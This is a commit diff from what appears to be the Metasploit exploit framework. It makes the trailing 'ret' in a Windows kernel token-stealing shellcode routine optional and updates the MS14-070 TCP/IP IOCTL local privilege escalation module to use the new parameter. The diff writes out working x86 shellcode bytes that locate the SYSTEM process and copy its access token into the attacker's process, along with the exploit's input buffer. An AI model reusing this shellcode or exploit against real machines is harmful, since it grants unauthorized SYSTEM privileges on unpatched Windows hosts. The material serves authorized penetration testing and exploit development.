Make the ret instruction for token stealing optional

Author: zeroSteiner

lib/msf/core/exploit/local/windows_kernel.rb

@@ -116,10 +116,12 @@ def open_device(file_name, desired_access, share_mode, creation_disposition, fla
   #   original token to so it can be restored later.
   # @param arch [String] The architecture to return shellcode for. If this is nil,
   #   the arch will be guessed from the target and then module information.
+  # @param append_ret [Boolean] Append a ret instruction for use when being called
+  #   in place of HaliQuerySystemInformation.
   # @return [String] The token stealing shellcode.
   # @raise [ArgumentError] If the arch is incompatible.
   #
-  def token_stealing_shellcode(target, backup_token = nil, arch = nil)
+  def token_stealing_shellcode(target, backup_token = nil, arch = nil, append_ret = true)
     arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
     if arch.nil? && module_info['Arch']
       arch = module_info['Arch']
@@ -144,15 +146,17 @@ def token_stealing_shellcode(target, backup_token = nil, arch = nil)
         tokenstealing << "\x89\x1d" + [backup_token].pack('V')                       # mov dword ptr ds:backup_token, ebx   # Optionaly write a copy of the token to the address provided
       end
       tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00"              # mov eax, dword ptr [eax+88h]  <====| # Retrieve FLINK from ActiveProcessLinks
-      tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00"              # sub eax,88h                        | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
+      tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00"              # sub eax, 88h                       | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
       tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4         | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
-      tokenstealing << "\x75\xe8"                                                    # jne 0000101e ======================
-      tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00"                # mov edx,dword ptr [eax+0C8h]     # Retrieves TOKEN and stores on EDX
+      tokenstealing << "\x75\xe8"                                                    # jne 0000101e ======================|
+      tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00"                # mov edx, dword ptr [eax+0C8h]    # Retrieves TOKEN and stores on EDX
       tokenstealing << "\x8b\xc1"                                                    # mov eax, ecx                     # Retrieves KPROCESS stored on ECX
       tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00"                # mov dword ptr [eax+0C8h],edx     # Overwrites the TOKEN for the current KPROCESS
       tokenstealing << "\x5b"                                                        # pop ebx                          # Restores ebx
       tokenstealing << "\x5a"                                                        # pop edx                          # Restores edx
-      tokenstealing << "\xc2\x10"                                                    # ret 10h                          # Away from the kernel!
+      if append_ret
+        tokenstealing << "\xc2\x10"                                                  # ret 10h                          # Away from the kernel!
+      end
     else
       # if this is reached the issue most likely exists in the exploit module
       print_error('Unsupported arch for token stealing shellcode')

modules/exploits/windows/local/ms14_070_tcpip_ioctl.rb

@@ -114,7 +114,7 @@ def exploit
 
     buf = "\x00\x04\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x22\x00\x00\x00\x04\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00"
 
-    sc  = token_stealing_shellcode(target)[0..-3]
+    sc  = token_stealing_shellcode(target, nil, nil, false)
     # move up the stack frames looking for nt!KiSystemServicePostCall
     sc << "\x31\xc9"                     # xor ecx, ecx
     sc << "\x89\xeb"                     # mov ebx, ebp